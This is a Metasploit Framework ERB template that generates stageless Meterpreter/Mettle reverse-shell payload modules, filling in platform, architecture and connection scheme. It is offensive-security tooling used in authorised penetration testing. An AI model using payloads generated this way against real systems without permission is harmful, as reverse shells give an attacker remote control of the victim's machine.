meterpreter_reverse.erb 1.3 KB

123456789101112131415161718192021222324252627282930313233343536373839404142
  1. ##
  2. # This module requires Metasploit: https://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. # Module generated by tools/modules/generate_mettle_payloads.rb
  6. module MetasploitModule
  7. include Msf::Payload::Single
  8. include Msf::Sessions::MeterpreterOptions
  9. include Msf::Sessions::MettleConfig
  10. def initialize(info = {})
  11. super(
  12. update_info(
  13. info,
  14. 'Name' => '<%= platform %> Meterpreter, Reverse <%= scheme.upcase %> Inline',
  15. 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
  16. 'Author' => [
  17. 'Adam Cammack <adam_cammack[at]rapid7.com>',
  18. 'Brent Cook <brent_cook[at]rapid7.com>',
  19. 'timwr'
  20. ],
  21. 'Platform' => '<%= platform.downcase %>',
  22. 'Arch' => ARCH_<%= arch.upcase %>,
  23. 'License' => MSF_LICENSE,
  24. 'Handler' => Msf::Handler::Reverse<%= scheme.capitalize %>,
  25. 'Session' => Msf::Sessions::Meterpreter_<%= arch %>_<%= platform %>
  26. )
  27. )
  28. end
  29. def generate
  30. opts = {
  31. scheme: '<%= scheme %>',
  32. stageless: true
  33. }.merge(mettle_logging_config)
  34. MetasploitPayloads::Mettle.new('<%= payload %>', generate_config(opts)).to_binary :exec
  35. end
  36. end